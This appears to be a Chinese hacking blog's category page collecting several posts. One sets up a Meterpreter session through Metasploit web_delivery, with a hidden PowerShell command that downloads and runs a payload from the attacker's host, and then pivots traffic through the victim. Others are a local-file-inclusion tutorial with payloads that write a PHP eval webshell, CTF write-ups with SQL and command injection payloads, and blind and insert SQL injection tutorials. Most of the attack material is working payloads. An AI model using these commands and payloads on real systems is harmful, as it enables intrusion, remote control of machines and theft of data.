分类 Hack 下的文章

meterpreter 搭建socks4a 代理

0x01 install metasploit

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall &&
chmod 755 msfinstall &&
./msfinstall

0x0x2 make meterpreter

有很多方式,可以用bind_tcp和reverse_tcp。各种利用就不多说了,参见http://c-chicken.cc/hacking/2015/10/29/Meterpreter-Guide.html。这里我们用的是web_delivery

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Python


msf exploit(web_delivery) > set target 2
target => 2

msf exploit(web_delivery) > set LHOST 192.169.0.101
LHOST => 192.169.0.101

msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf exploit(web_delivery) > exploit -j

运行得到

powershell.exe -nop -w hidden -c $B=new-object net.webclient;$B.proxy=[Net.WebRequest]::GetSystemWebProxy();$B.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $B.downloadstring('http://192.169.0.101:8080/5qMLoF86nTI');

放入windows靶机内执行得到meterpreter

0x03 add route
得到meterpreter以后执行backgroud可以看到这个shell的session

meterpreter > background
[*] Backgrounding session 1...

接着可以添加路由,一般都是添加内网的路由,我们举一个例子。

我装metasploit的本机的ip为香港的ip。靶机的ip为重庆的ip。我想通过请求ip.cn查看代理是否搭建成功。我先ping ip.cn得到ip以后,执行

msf auxiliary(socks4a) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local

msf auxiliary(socks4a) > route add 118.184.180.46 255.255.255.255 1
[*] Route added

添加成功以后搭建socks4a的代理。

msf post(autoroute) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

msf auxiliary(auxiliary/server/socks4a) > set SRVPORT 8888
SRVPORT => 8888
msf auxiliary(auxiliary/server/socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

然后修改proxychains的配置文件为:

➜  ~ cat /usr/local/etc/proxychains.conf|grep socks4
#       socks4  192.168.1.49    1080
#       proxy types: http, socks4, socks5
socks4 *.*.*.*(存在meterpreter机器的ip) 8888

然后执行:

➜  ~ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/Cellar/proxychains-ng/4.11/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.11/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.11
[proxychains] Strict chain  ...  *.*.*.*:8888  ...  ip.cn:80  ...  OK
当前 IP:*.*.*.* 来自:重庆市 电信

可以看到已经成功的得到靶机的ip。

0x04 后记

其实这个代理主要还是在本机上面加路由,让到一些网段通过靶机走。那么在渗透内网的时候,我们就可以比如将192这个段加进路由,这样就可以达到进入内网的目的。

Local File Include

0x00 LFC简介

LFC 即 Local File Include(本地文件包含)。

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

0x01 普通的本地文件包含

一般文件包含就是直接利用上传的文件,使其能够被PHP所解析。

这是一般本地包含漏洞存在的场景。

include.php

<?php
    $filename = $_GET['file'];
    include($filename.'.php');
?>

相同目录写一个info.txt

<?php
    phpinfo();
?>

只要包含info.txt就可以让该文件被PHP解析。但是想要包含这个文件必须绕过.php这个后缀的限制。

一、%00截断

利用需要条件:

magic_quotes_gpc = off
php version < 5.3.4

构造如下payload则可以包含info.txt。

http://localhost/include.php?file=info.txt%00

二、转换字符集造成的截断

PHP中有一个iconv函数,其原型为:

string iconv ( string $in_charset , string $out_charset , string $str )
$in_charset : 输入的字符集
$out_charset : 输出的字符集
$str : 需要转换的字符串

参考php手册

http://www.php.net/manual/zh/function.iconv.php

当需要转换的字符在字符编码转换的时候可能导致字符串截断。当$str中有一个字符不能被目标字符集所表示时,str 从第一个无效字符开始截断并导致一个 E_NOTICE。

如:

$d = iconv(“UTF-8”, “gb2312”, $c)

该代码表示将变量$c从UTF-8编码转换为gb2312。

当$c中存在一个不能被gb2312表示的字符时,那么就会截断。

经测试,从0x80~0x99都可以造成截断。(测试环境为windows)

三、文件名过长导致截断。

利用条件:

php version < 5.3.4

构造payload:

http://localhost/include.php?file=info.txt..................................................................................................................................................................................................................................................................

可以执行info.txt内的代码。

0x02 php://伪协议在文件包含中的利用

本地环境

include.php

<?php
    $filename = $_GET['file'];
    include($filename);
?>

利用条件:

allow_url_include=On

php://input

php://input是个可以访问请求的原始数据的只读流。enctype="multipart/form-data" 的时候 php://input 是无效的。

可以这样构造

http://localhost/include.php?file=php://input

POST参数:
<?php phpinfo(); ?>

可以看到phpinfo()是被执行了的。

构造如下可写入shell:

<?php 
$shell = fopen("shell.php", "w");
$txt ='<?php @eval($_POST[\'a\']); ?>';
fwrite($shell,$txt);
fclose($shell);
phpinfo(); 
?>

php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

可以通过这样查看文件源码:

http://localhost/include.php?file=php://filter/convert.base64-encode/resource=

还有很多用法,但是我在测试的时候发现如果代码可以被php解析是可以直接执行的。

如:

info.txt
<?php phpinfo(); ?>

访问;

http://localhost/include.php?file=php://filter/resource=info.txt

是可以执行的。

0x03 利用zip://协议进行包含

1.首先写好一个php文件命名为1.php

2.将1.php压缩为1.zip,然后将文件名改为yu.jpg

3.访问

http://localhost/include.php?file=zip://yu.jpg%231.php

会发现php被解析。

0x04 利用data://协议进行包含

需要条件:

allow_url_include = on
allow_url_fopen = on

可以通过构造

http://localhost/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

访问便可以执行。

执行此url可以直接得到一个shell.php

http://localhost/include.php?file=data://text/plain;base64,PD9waHAgJHNoZWxsID0gZm9wZW4oInNoZWxsLnBocCIsICJ3Iik7ICR0eHQgPSc8P3BocCBAZXZhbCgkX1BPU1RbXCdhXCddKTsgPz4nOyBmd3JpdGUoJHNoZWxsLCR0eHQpOyBmY2xvc2UoJHNoZWxsKTsgcGhwaW5mbygpOyAgPz4=

参考文章:

http://drops.wooyun.org/papers/4544
http://www.wooyun.org/bugs/wooyun-2014-048293
http://www.cnseay.com/3700/
http://www.2cto.com/Article/201502/377462.html
http://www.cnseay.com/2356/comment-page-1/
http://drops.wooyun.org/tips/3827
http://php.net/manual/zh/wrappers.data.php
http://www.waitalone.cn/php-file-include.html
https://en.wikipedia.org/wiki/Data_URI_scheme

ISCC-WEB Writeup

flag in flag

<html>
<head>
Masel's secure site
</head>
<body>

<a href="setup-db.php">重置数据库</a>

<?php
include("auth.php");
$servername = $host;
$username = $dbuser;
$password = $dbpass;
$database = $dbname;

error_reporting(0);
if($_POST["user"] && $_POST["pass"]) {
    $conn = mysqli_connect($servername, $username, $password, $database);
    if ($conn->connect_error) {
die("Connection failed: " . mysqli_error($conn));
}     
$user = $_POST["user"];
$pass = $_POST["pass"];

$sql = "select user from user where pw='$pass'";
//echo $sql;
$query = mysqli_query($conn,$sql);
if (!$query) {
    printf("Error: %s\n", mysqli_error($conn));
    exit();
}
$row = mysqli_fetch_array($query);
//echo $row["pw"];
if ($row[user]){
    if ($row[user] == "flag" && $user=="flag") {
        echo "<p>Logged in! Flag: ****************** </p>";
    }
    else{
        echo "<p>Password is right, but it's not for the flag </p>";
    }
}
else {
    echo("<p>Wrong password!</p>"); 
}
}

?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.php.txt">Source</a>
</html>

从上述代码看,password处存在注入。而且是将数据库中的所有查询结果依次进行比较。开启了报错。故此有多种构造方式。

0x01爆出密码

user=flag&pass=111' and(updatexml (1,concat(0x7e,((SELECT pw FROM user LIMIT 1,1)),0x7e),1))#

0x02让查询结果返回有flag

user=flag&pass=1' union select 'flag
user=flag&pass=1' || user='flag

PING出事了吧

加.txt查看源码

<?php
header("Content-type: text/html; charset=utf-8"); 
?>
<html>
<head>
<title></title>
</head>
<body>
<div align="center">
    <h1 al>我刚做了一个ping命令的小工具,快试一下吧!</h1>

    <div >
        <p>请输入目标IP</p>
        <form name="ping" action="index.php" method="post">
            <input type="text" name="ip" size="30">
            <input type="submit" value="submit" name="submit">
        </form>
    </div>
<div>
</body>
</html>
<?php
if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];
    $len = strlen($target);
    $i = 0;
    $wrong = 0;
    $pattern='/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}(([&]{2}|[;|])dir[\sa-zA-Z0-9]*)?$/';
    if(!preg_match($pattern, $target)){
        $wrong=1;
    }
    if($wrong == 0 && $len > 0)
    {
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
    
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>';
        
        } else
        { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>';
        }
    }
    else
        echo "输入格式不正确!";
}
if( isset($_GET['file']))
{
    include($_GET['file']);
}
?>

可以看到可以执行dir命令


然后直接访问,可以得到flag

simple injection

尝试了下就知道是用户名的注入。关闭了报错盲注。但是如果进行扫描的话会被阿里云封。

这个判断的逻辑应该是

首先从数据库中查询输入用户名的密码,然后将查询出的结果依次和输入的密码的md5值相比,如果相等则输出flag。

也就是说我们只要让查出的密码和我们输入的密码的md5相等就可以了。构造payload如下:

username=admin'%0a/*!union*/%0a/*!select*/%0a0x6334636134323338613062393233383230646363353039613666373538343962%23&password=1

有一点简单的waf 这样就能绕过了

double kill

有个上传文件的点和一个包含。这样就很简单了。不过过滤了<?php 需要用

<script language="php"></scirpt> 

绕过。用%00绕过.php

糊涂的小明

访问admin看到admin的ip:121.42.171.222

查看源码有个proxy.php

然后通过proxy.php 到121.43.171.222 然后发现121.43.171.222也有个proxy.php

构造

http://101.200.145.44/web4/proxy.php?url=http://121.42.171.222/proxy.php?url=http://101.200.145.44/web4/admin/robots.txt

要先注册一个admin账号。通过超长可以构造出admin账号。

看到后门文件。查看后门文件源码,是phpjm过的。删掉第一行以后,直接执行以下看到后门密码是360.POST过去得到flag

Blind_Injection

0x01什么是盲注

假设现在发现了一个SQL注入点,但应用只提供了一个通用的错误页面;或者虽然提供了正常的页面,但与我们取回的内容存在一些小的差异(可见或者不可见)。在这里没有有用的错误消息或者我们已经习惯的反馈内容。但是,即便在这种情况下,我们也仍然可以可靠的利用sql注入。

0x02环境搭建

首先创建一个数据库插入几条数据,我构造的是这样的。

mysql> select *  from test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | aaaaa    | aaaaa    |
|  2 | bbbbb    | bbbbb    |
|  3 | ccccc    | ccccc    |
+----+----------+----------+

PHP代码为:

<?php
ini_set('display_errors','off');
$db = mysql_connect('localhost','db_user','db_password');
if(!$db)
{
    die("can't connect to your SQL.");
}
$db_select  = mysql_select_db('db_name',$db);
if(isset($_GET['a']))
{
    $test  = $_GET['a'];
    $sql = "SELECT password FROM test WHERE id = '".$_GET['a']."'";
    echo $sql.'<br>';
    $result = mysql_query($sql,$db);
    $db_field = mysql_fetch_array($result);
    echo 'your password is:'.$db_field['password'] ;
}
else {
    echo 'you don\'t send values';
}
?>

0x03寻找并确认SQL盲注

这方面主要检测带入语句是否在SQL内被执行。所以只要能够确定输入的内容执行了就可以了。

1、可以通过拆分。

http://localhost/test.php?a=1
http://localhost/test.php?a=2-1

分解1为2-1。在数据库解析他们的时候,二者的功能是等价的。

字符型的可以构造如下:

(oracle中用||链接两个字符串)

http://localhost/test.php?a=lovehack
http://localhost/test.php?a=love'||'hack

这两个输入的参数虽然不同但是在oracle中解释是一样的。

不过每种数据库的连接字符串的方法是不一样的,要’对症下药‘。

2.可以使用延时进行确认。

例如在mysql中,可以构造如下:

http://localhost/test.php?a=1' and sleep(1)%23

构造这样的payload,网页如果延时一秒后再出现说明sleep()函数执行,即可以确认存在注入。

3.通过判断看是否有差别。

http://localhost/test.php?a=1' and 1=1
http://localhost/test.php?a=1' and 1=2

看两个查询代入后,返回网页是否有差别。

0x04可以看到返回页面不同时可以使用的手法

这个时候只要后面接个and判断就可以了。假如and后面为真,则返回和传递正常参数同样的页面。若为假,则返回不同页面。

构造payload如下:

http://localhost/test.php?a=1' and substr((select database()),1,1)='t' %23

通过猜解也可以得到数据库中的信息。

当然也可以不用单个字符猜解,也可以构造如下payload:
http://localhost/test.php?a=1' and substr((select database()),1,4)='test' %23
只不过在不知道任何信息的情况下单个字符猜解是肯定会得出答案的。

0x05延时注入

首先需要知道IF语句如何使用。

这里我使用的是MYSQL数据库。

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。
IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

构造如下:

http://localhost/test.php?a=1' and if((substr((select database()),1,1)='t'),sleep(8),2)%23

即查询数据库名称的第一个字母是否是t假如是t,则延时8秒。那么可以通过观察是否延时判断条件是否正确。通过这样可以
猜解出其他信息。

除了sleep(),Mysql中还有其他函数可以进行延时,如:

BENCHMARK(N,expression)

其中expression是SQL表达式,N是执行该表达式要重复执行的次数。

所以可以将sleep(8)替换成benchmark(1000000000,rand())。如果想增加时间,还可以增大N的值。如下:

http://localhost/test.php?a=1' and if((substr((select database()),1,1)='t'),benchmark(1000000000,rand()),2)%23

如果AND不可以用,还可以使用union select.

http://localhost/test.php?a=1' union select if((substr((select database()),1,4)=0x726f6f74),sleep(8),2)%23

其中0x726f6f74替换了root,这是一种常见的转义,这样我们就不用引号啦~

未完,最近会尽快更新,小菜欢迎大家指正哦~

Insert_injection

RCTF文件名注入,感觉挺有意思,就记录一下。

RCTF的那题是把文件名单独提取出来如:xxxx.jpg.提取出 xxxx insert into 到数据库中再通过 select 显示到网页中。

要想进行注入,我想到的办法是。同时插入几条数据(为了逃逸单引号),第一条补全前面的括号,第二条执行命令并将结果插入数据库,第三条将最后的括号闭合。

假如数据库中只有两列并且输入的文件名插入在第一列,那么可以构造如下payload:

test1','test'),('payload','test'),('test

就像前面说的,这种方法需要知道数据库结构。数据库结构可以通过盲注猜出来。全部输入合法字符,如果不符合数据库的结构,就不会有回显,有回显就说明插入正确。

接下来说如何进行注入。可以搭建本地环境进行测试。

建立一个两列的表:

create table insert_injection(
id int(10) not null primary key auto_increment,
name char(15) not null);

Query OK, 0 rows affected (0.11 sec)

本地搭建一个php的环境,搭建的代码如下:

<?php
$db = mysql_connect("localhost","db_user","db_password");
mysql_select_db("db_name");
$name = $_GET['name'];
$sql = "INSERT INTO insert_injection(column1,column2) VALUES ('','$name')";
echo $sql;
$query = mysql_query($sql);
?>

由于表是自己创建,知道表结构,那么可以直接插入。

构造payload:

http://localhost/test.php?name=boom'),('',(select database())),('','boom

执行的sql语句为:

INSERT INTO insert_injection(id,name) VALUES ('','boom'),('',(select database())),('','boom');

插入数据库数据为:

mysql> select * from insert_injection;
+----+------+
| id | name |
+----+------+
|  5 | boom |
|  6 | test |
|  7 | boom |
+----+------+
3 rows in set (0.00 sec)

可以看到第六条就是当前使用数据库名。

构造payload:

http://localhost/upload.php?name=boom'),('',(select user() from information_schema.tables limit 0,1)),('','boom

执行的sql语句为:

INSERT INTO insert_injection(id,name) VALUES ('','boom'),('',(select user() from information_schema.tables limit 0,1)),('','boom');

插入数据库中数据为:

mysql> select * from insert_injection;
+----+----------------+
| id | name           |
+----+----------------+
|  8 | boom           |
|  9 | root@localhost |
| 10 | boom           |
+----+----------------+
3 rows in set (0.00 sec)

RCTF在注册时分配给每一个人一个uid,插入数据库后又通过

select filename from web_upload where uid = xxx;

显示到网页上。

所以通过如上想法可以查询出当前使用数据库中的表,列,和数据。本地我没有让他回显到网页中,直接在数据库中查询看了。

下面给出我利用的payload:

xxxx?filename=aa','55',uid),((select database()),'88',uid),('aa   #获得数据库名 db_name

xxxx?filename=aa','55',uid),((select table_name from information_schema.tables where table_schema='db_name' limit 0,1),'88',uid),('aa    #获得dn_name中第一张表的表名,以此类推可以获得所有表名

xxxx?filename=aa','55',uid),((select column_name from information_schema.columns where table_name='table_name' limit 0,1),'88',uid),('aa    #获得当前表中第一列名称

xxxx?filename=aa','55',uid),((select column_name from table_name limit 0,1),'88',uid),('aa  #获得列中数据

其中在本地测试的时候,还知道了一些很奇怪的小知识。

比如

INSERT INTO TABLE_NAME(id,name) VALUES('','test' and 1=1)

插入数据库中显示的是0

mysql> insert into insert_injection values('1','test' and 1=1);
Query OK, 1 row affected, 1 warning (0.05 sec)

mysql> select * from insert_injection;
+----+------+
| id | name |
+----+------+
|  1 | 0    |
+----+------+
1 row in set (0.00 sec)

如果后面跟的判断为假则会报错

mysql> insert into insert_injection values('1','test' and 1=2);
ERROR 1062 (23000): Duplicate entry '1' for key 'PRIMARY'

记录一下。

只是小小的记录下,欢迎大家指正。